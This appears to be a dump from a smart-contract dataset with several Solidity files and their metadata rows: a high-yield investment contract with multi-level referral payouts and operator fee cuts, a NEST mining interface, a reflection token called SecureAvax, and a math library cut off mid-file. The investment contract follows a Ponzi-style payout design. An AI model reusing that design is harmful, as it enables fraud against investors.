for (uint256 i = 0; i < investors[user].deposits.length; i++) {
if (investors[user].deposits[i].endTime > block.timestamp) {
amount += investors[user].deposits[i].amount;
}
}
investors[user].reward.rewards[11] = true;
investors[user].reward.counts[11]++;
investors[user].reward.amounts[11] = amount * 30 / 100;
investors[user].reward.amountReward += investors[user].reward.amounts[11];
}
}
function getInvestReward() public view returns (bool[] memory rewards , uint256[] memory amounts, uint256[] memory counts, uint256 amountReward,uint256 totalReward) {
require(investors[msg.sender].registered, "The user need to be registered as an investor");
rewards = new bool[](investors[msg.sender].reward.rewards.length);
amounts = new uint256[](investors[msg.sender].reward.amounts.length);
counts = new uint256[](investors[msg.sender].reward.counts.length);
amountReward = investors[msg.sender].reward.amountReward;
totalReward = investors[msg.sender].reward.totalReward;
for (uint256 i = 0; i < investors[msg.sender].reward.rewards.length; i++) {
rewards[i] = investors[msg.sender].reward.rewards[i];
amounts[i] = investors[msg.sender].reward.amounts[i];
counts[i] = investors[msg.sender].reward.counts[i];
}
return (rewards, amounts, counts, amountReward,totalReward);
}
function register(address referer) internal {
investors[msg.sender].registered = true;
totalInvestors++;
investors[msg.sender].referrals.push(Referral(1,4,0));
investors[msg.sender].referrals.push(Referral(2,3,0));
investors[msg.sender].referrals.push(Referral(3,2,0));
investors[msg.sender].referrals.push(Referral(4,1,0));
investors[msg.sender].referer = defaultReference;
investors[msg.sender].reward= Reward(_rewards,_counts,_amounts,0,0);
investors[msg.sender].twithdraw = 0;
if (investors[referer].registered && referer != msg.sender) {
investors[msg.sender].referer = referer;
rewardReferers(msg.value,investors[msg.sender].referer);
address rec = referer;
for (uint256 i = 0; i < investors[rec].referrals.length; i++) {
if (!investors[rec].registered) {
break;
}
investors[rec].referrals[i].count++;
if (i < 2) {
investors[rec].reward.counts[9]++;
investors[rec].reward.counts[10]++;
if (investors[rec].reward.counts[9] >= 10) {
rewardsReffer(rec);
}
if (investors[rec].reward.counts[10] >= 15) {
rewardsBestPlan(rec);
}
}
rec = investors[rec].referer;
}
}
}
function rewardReferers(uint256 amount, address referer) internal {
address rec = referer;
for (uint256 i = 0; i < investors[rec].referrals.length; i++) {
if (!investors[rec].registered) {
break;
}
uint256 a = amount * (investors[rec].referrals[i].percent) / 100;
investors[rec].balanceRef += a;
totalRefRewards += a;
rec = investors[rec].referer;
}
}
function deposit(uint256 tariff, address referer) public payable {
require(uint256(block.timestamp) > START_AT, "Not launched");
require(msg.value >= MIN_DEPOSIT, "Less than the minimum amount of deposit requirement");
require(tariff < tariffs.length && tariff >= 0, "Wrong investment tariff id");
if(msg.value >= 5000000000 && first50Investors < 50){
msg.sender.transfer(msg.value * 2 / 100);
first50Investors++;
}
if (!investors[msg.sender].registered) {
register(referer);
}else {
rewardReferers(msg.value, investors[msg.sender].referer);
}
owner.transfer(msg.value * OWNER_RATE / 100);
admin.transfer(msg.value * ADMIN_RATE / 100);
marketing.transfer(msg.value * MARKETING_RATE / 100);
investors[msg.sender].invested += msg.value;
totalInvested = totalInvested + msg.value;
investors[msg.sender].deposits.push(Deposit(tariffs[tariff], msg.value, block.timestamp,false,false,block.timestamp + tariffs[tariff].time,0,block.timestamp));
if (msg.value > bonusDay.bonus) {
bonusDay.bonus = msg.value;
bonusDay.addr = msg.sender;
emit UpdateBonus(bonusDay.addr, bonusDay.bonus);
}
rewardsDeposit(msg.sender,investors[msg.sender].deposits.length-1);
rewardsBestPlan(msg.sender);
}
function reinvest(uint256 tariff,uint256 investId) public payable {
uint256 amount = withdrawableInvest(msg.sender,investId);
require(tariff < tariffs.length && tariff >= 0, "Wrong investment tariff id");
require(investors[msg.sender].registered, "You need to be registered as an investor to invest");
if (address(this).balance > amount * (OWNER_RATE+ADMIN_RATE) / 100) {
owner.transfer(amount * OWNER_RATE / 100);
admin.transfer(amount * ADMIN_RATE / 100);
}
investors[msg.sender].invested += amount;
totalInvested += amount;
investors[msg.sender].deposits.push(Deposit(tariffs[tariff], amount, block.timestamp,false,false,block.timestamp + tariffs[tariff].time,0,block.timestamp));
if (amount >= investors[msg.sender].deposits[investId].amount * 40/100) {
investors[msg.sender].reward.rewards[6] = true;
investors[msg.sender].reward.amounts[6] += amount * 5 / 100;
investors[msg.sender].reward.counts[6]++;
investors[msg.sender].reward.amountReward += amount * 5 / 100;
}
if (block.timestamp >= investors[msg.sender].deposits[investId].endTime) {
investors[msg.sender].deposits[investId].isExpired = true;
rewardsTotalPlan(msg.sender,investId);
}
rewardsDeposit(msg.sender,investors[msg.sender].deposits.length-1);
rewardsBestPlan(msg.sender);
investors[msg.sender].deposits[investId].lastPaidDate = block.timestamp;
}
function withdrawable(address user) public view returns (uint256 amount) {
require(investors[user].registered, "The user need to be registered as an investor");
for (uint256 i = 0; i < investors[user].deposits.length; i++) {
if (investors[user].deposits[i].isExpired) {
continue;
}
amount += withdrawableInvest(user,i);
}
return amount;
}
function withdrawableInvest(address user, uint256 depId) public view returns (uint256 amount) {
uint256 since = investors[user].deposits[depId].lastPaidDate > investors[user].deposits[depId].date ? investors[user].deposits[depId].lastPaidDate : investors[user].deposits[depId].date;
uint256 till = block.timestamp > investors[user].deposits[depId].endTime ? investors[user].deposits[depId].endTime : block.timestamp;
if (since < till) {
amount = investors[user].deposits[depId].amount * (till - since) * investors[user].deposits[depId].tariff.percent / investors[user].deposits[depId].tariff.time/100;
}
return amount;
}
function withdrawReward() external {
require(investors[msg.sender].registered, "You need to be registered as an investor");
require(address(this).balance >= investors[msg.sender].reward.amountReward);
if (msg.sender.send(investors[msg.sender].reward.amountReward)) {
cleanAmountReward();
investors[msg.sender].reward.totalReward += investors[msg.sender].reward.amountReward;
investors[msg.sender].reward.amountReward = 0;
}
}
function withdrawReffer() external {
require(investors[msg.sender].registered, "You need to be registered as an investor");
require(address(this).balance >= investors[msg.sender].balanceRef);
if (msg.sender.send(investors[msg.sender].balanceRef)) {
investors[msg.sender].totalRef += investors[msg.sender].balanceRef;
investors[msg.sender].balanceRef = 0;
}
}
function withdraw() external {
require(investors[msg.sender].registered, "You need to be registered as an investor");
uint256 totalAmount = withdrawable(msg.sender);
require(address(this).balance >= totalAmount);
if (totalAmount > 0) {
if (msg.sender.send(totalAmount)) {
for (uint256 j = 0; j < investors[msg.sender].deposits.length; j++) {
if (investors[msg.sender].deposits[j].isExpired) {
continue;
}
if (block.timestamp >= investors[msg.sender].deposits[j].endTime) {
investors[msg.sender].deposits[j].isExpired = true;
rewardsTotalPlan(msg.sender,j);
}
investors[msg.sender].deposits[j].withdraw += withdrawableInvest(msg.sender,j);
investors[msg.sender].deposits[j].lastPaidDate = block.timestamp;
}
investors[msg.sender].twithdraw += totalAmount;
rewardsBestPlan(msg.sender);
}
}
}
function withdrawInvest(uint256 investId) external {
require(investors[msg.sender].registered, "You need to be registered as an investor");
require(investId >= 0 && investId < investors[msg.sender].deposits.length);
require(!investors[msg.sender].deposits[investId].isExpired);
uint256 amount = withdrawableInvest(msg.sender,investId);
require(address(this).balance >= amount);
if (msg.sender.send(amount)) {
if (block.timestamp >= investors[msg.sender].deposits[investId].endTime) {
investors[msg.sender].deposits[investId].isExpired = true;
rewardsTotalPlan(msg.sender,investId);
}
investors[msg.sender].twithdraw += amount;
investors[msg.sender].deposits[investId].withdraw += amount;
investors[msg.sender].deposits[investId].lastPaidDate = block.timestamp;
rewardsBestPlan(msg.sender);
}
}
function getInvestmentsByAddr(address _addr) public view returns (uint256[] memory tariffIds , uint256[] memory dates,uint256[] memory endTimes, uint256[] memory amounts , uint256[] memory withdrawns , bool[] memory isExpireds, uint256[] memory newDividends) {
if (address(msg.sender) != owner) {
require(address(msg.sender) == _addr, "only owner or self can check the investment plan info.");
}
tariffIds = new uint256[](investors[msg.sender].deposits.length);
dates = new uint256[](investors[msg.sender].deposits.length);
endTimes = new uint256[](investors[msg.sender].deposits.length);
amounts = new uint256[](investors[msg.sender].deposits.length);
withdrawns = new uint256[](investors[msg.sender].deposits.length);
isExpireds = new bool[](investors[msg.sender].deposits.length);
newDividends = new uint256[](investors[msg.sender].deposits.length);
for (uint256 i = 0; i < investors[msg.sender].deposits.length; i++) {
require(investors[msg.sender].deposits[i].date != 0,"wrong investment date");
tariffIds[i] = investors[msg.sender].deposits[i].tariff.id;
withdrawns[i] = investors[msg.sender].deposits[i].withdraw;
dates[i] = investors[msg.sender].deposits[i].date;
endTimes[i] = investors[msg.sender].deposits[i].endTime;
amounts[i] = investors[msg.sender].deposits[i].amount;
if (investors[msg.sender].deposits[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
} else {
isExpireds[i] = false;
newDividends[i] = withdrawableInvest(msg.sender, i);
}
}
return (tariffIds, dates, endTimes,amounts, withdrawns,isExpireds,newDividends);
}
function updBonusDay() public{
require(address(msg.sender) == owner || address(msg.sender) == admin);
uint256 day = block.timestamp / 1 days;
if (bonusDay.day < day && bonusDay.addr != defaultReference) {
investors[bonusDay.addr].reward.rewards[8]= true;
investors[bonusDay.addr].reward.amounts[8] += bonusDay.bonus * 10 / 100;
investors[bonusDay.addr].reward.counts[8]++;
investors[bonusDay.addr].reward.amountReward += bonusDay.bonus * 10 / 100;
lastBonusDay = bonusDay;
bonusDay.day = day;
bonusDay.bonus = 0;
bonusDay.addr = defaultReference;
rewardsBestPlan(lastBonusDay.addr);
emit WinnerBonus(lastBonusDay.addr, lastBonusDay.bonus);
}
}
}
| 288,186 | 10,502 |
00cff183add9ff7bd5af64bf3072b2b65c082a8ec83194937ee3401c1a4800c6
| 9,629 |
.sol
|
Solidity
| false |
375336876
|
Computable-Finance/CoFiX-V2.1
|
325165b8a4502b12f74baa3b52ecd61ddda5a27f
|
contracts/test/INestMining.sol
| 1,893 | 8,159 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines the mining methods for nest
interface INestMining {
/// @dev Post event
/// @param tokenAddress The address of TOKEN contract
/// @param miner Address of miner
/// @param index Index of the price sheet
/// @param ethNum The numbers of ethers to post sheets
event Post(address tokenAddress, address miner, uint index, uint ethNum, uint price);
/// @dev Nest mining configuration structure
struct Config {
// Eth number of each post. 30
// We can stop post and taking orders by set postEthUnit to 0 (closing and withdraw are not affected)
uint32 postEthUnit;
// Post fee(0.0001eth, DIMI_ETHER). 1000
uint16 postFeeUnit;
// Proportion of miners digging(10000 based). 8000
uint16 minerNestReward;
// The proportion of token dug by miners is only valid for the token created in version 3.0
// (10000 based). 9500
uint16 minerNTokenReward;
uint32 doublePostThreshold;
// The limit of ntoken mined blocks. 100
uint16 ntokenMinedBlockLimit;
// -- Public configuration
// The number of times the sheet assets have doubled. 4
uint8 maxBiteNestedLevel;
// Price effective block interval. 20
uint16 priceEffectSpan;
// The amount of nest to pledge for each post(Unit: 1000). 100
uint16 pledgeNest;
}
/// @dev PriceSheetView structure
struct PriceSheetView {
// Index of the price sheeet
uint32 index;
// Address of miner
address miner;
// The block number of this price sheet packaged
uint32 height;
// The remain number of this price sheet
uint32 remainNum;
// The eth number which miner will got
uint32 ethNumBal;
// The eth number which equivalent to token's value which miner will got
uint32 tokenNumBal;
// The pledged number of nest in this sheet. (Unit: 1000nest)
uint24 nestNum1k;
uint8 level;
uint8 shares;
// The token price. (1eth equivalent to (price) token)
uint152 price;
}
/// @dev Modify configuration
/// @param config Configuration object
function setConfig(Config calldata config) external;
/// @dev Get configuration
/// @return Configuration object
function getConfig() external view returns (Config memory);
/// @param tokenAddress Destination token address
/// @param ntokenAddress The ntoken address
function setNTokenAddress(address tokenAddress, address ntokenAddress) external;
/// @param tokenAddress Destination token address
/// @return The ntoken address
function getNTokenAddress(address tokenAddress) external view returns (address);
/// @notice Post a price sheet for TOKEN
/// @param tokenAddress The address of TOKEN contract
/// @param ethNum The numbers of ethers to post sheets
/// @param tokenAmountPerEth The price of TOKEN
function post(address tokenAddress, uint ethNum, uint tokenAmountPerEth) external payable;
/// @notice Post two price sheets for a token and its ntoken simultaneously
/// @dev Support dual-posts for TOKEN/NTOKEN, (ETH, TOKEN) + (ETH, NTOKEN)
/// @param tokenAddress The address of TOKEN contract
/// @param ethNum The numbers of ethers to post sheets
/// @param tokenAmountPerEth The price of TOKEN
/// @param ntokenAmountPerEth The price of NTOKEN
function post2(address tokenAddress, uint ethNum, uint tokenAmountPerEth, uint ntokenAmountPerEth) external payable;
/// @notice Call the function to buy TOKEN/NTOKEN from a posted price sheet
/// @dev bite TOKEN(NTOKEN) by ETH, (+ethNumBal, -tokenNumBal)
/// @param tokenAddress The address of token(ntoken)
/// @param index The position of the sheet in priceSheetList[token]
function takeToken(address tokenAddress, uint index, uint takeNum, uint newTokenAmountPerEth) external payable;
/// @notice Call the function to buy ETH from a posted price sheet
/// @dev bite ETH by TOKEN(NTOKEN), (-ethNumBal, +tokenNumBal)
/// @param tokenAddress The address of token(ntoken)
/// @param index The position of the sheet in priceSheetList[token]
/// @param takeNum The amount of biting (in the unit of ETH), realAmount = takeNum
function takeEth(address tokenAddress, uint index, uint takeNum, uint newTokenAmountPerEth) external payable;
/// @notice Close a price sheet of (ETH, USDx) | (ETH, NEST) | (ETH, TOKEN) | (ETH, NTOKEN)
/// @dev Here we allow an empty price sheet (still in VERIFICATION-PERIOD) to be closed
/// @param tokenAddress The address of TOKEN contract
/// @param index The index of the price sheet w.r.t. `token`
function close(address tokenAddress, uint index) external;
/// @notice Close a batch of price sheets passed VERIFICATION-PHASE
/// @dev Empty sheets but in VERIFICATION-PHASE aren't allowed
/// @param tokenAddress The address of TOKEN contract
/// @param indices A list of indices of sheets w.r.t. `token`
function closeList(address tokenAddress, uint[] memory indices) external;
/// @notice Close two batch of price sheets passed VERIFICATION-PHASE
/// @dev Empty sheets but in VERIFICATION-PHASE aren't allowed
/// @param tokenAddress The address of TOKEN1 contract
/// @param tokenIndices A list of indices of sheets w.r.t. `token`
/// @param ntokenIndices A list of indices of sheets w.r.t. `ntoken`
function closeList2(address tokenAddress, uint[] memory tokenIndices, uint[] memory ntokenIndices) external;
/// @dev The function updates the statistics of price sheets
/// It calculates from priceInfo to the newest that is effective.
function stat(address tokenAddress) external;
/// @dev Settlement Commission
/// @param tokenAddress The token address
function settle(address tokenAddress) external;
/// @dev List sheets by page
/// @param tokenAddress Destination token address
/// @param offset Skip previous (offset) records
/// @param count Return (count) records
/// @param order Order. 0 reverse order, non-0 positive order
/// @return List of price sheets
function list(address tokenAddress, uint offset, uint count, uint order) external view returns (PriceSheetView[] memory);
/// @dev Estimated mining amount
/// @param tokenAddress Destination token address
/// @return Estimated mining amount
function estimate(address tokenAddress) external view returns (uint);
/// @dev Query the quantity of the target quotation
/// @param index The index of the sheet
/// @return minedBlocks Mined block period from previous block
/// @return totalShares Total shares of sheets in the block
function getMinedBlocks(address tokenAddress, uint index) external view returns (uint minedBlocks, uint totalShares);
/// @dev Withdraw assets
/// @param tokenAddress Destination token address
/// @param value The value to withdraw
function withdraw(address tokenAddress, uint value) external;
/// @dev View the number of assets specified by the user
/// @param tokenAddress Destination token address
/// @param addr Destination address
/// @return Number of assets
function balanceOf(address tokenAddress, address addr) external view returns (uint);
/// @dev Gets the address corresponding to the given index number
/// @param index The index number of the specified address
/// @return The address corresponding to the given index number
function indexAddress(uint index) external view returns (address);
/// @dev Gets the registration index number of the specified address
/// @param addr Destination address
/// @return 0 means nonexistent, non-0 means index number
function getAccountIndex(address addr) external view returns (uint);
/// @dev Get the length of registered account array
/// @return The length of registered account array
function getAccountCount() external view returns (uint);
}
| 175,989 | 10,503 |
3b2e7660a7ebe57c74261a1ecce38ea5a799a225e5d2e90f402b54d4569adc48
| 18,835 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/db/dB79640c525C1299c642bfC3502C0e381412ee06_SecureAvax.sol
| 4,186 | 15,804 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SecureAvax is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'SecureAvax';
string private _symbol = 'SecureAvax';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 84,520 | 10,504 |
f0aa42b372ecd960c06459100183e6b6c6880fe8607470a0db78cf18cf281be7
| 23,079 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xfAB911c54f7CF3ffFdE0482d2267a751D87B5B20/contract.sol
| 4,464 | 16,062 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
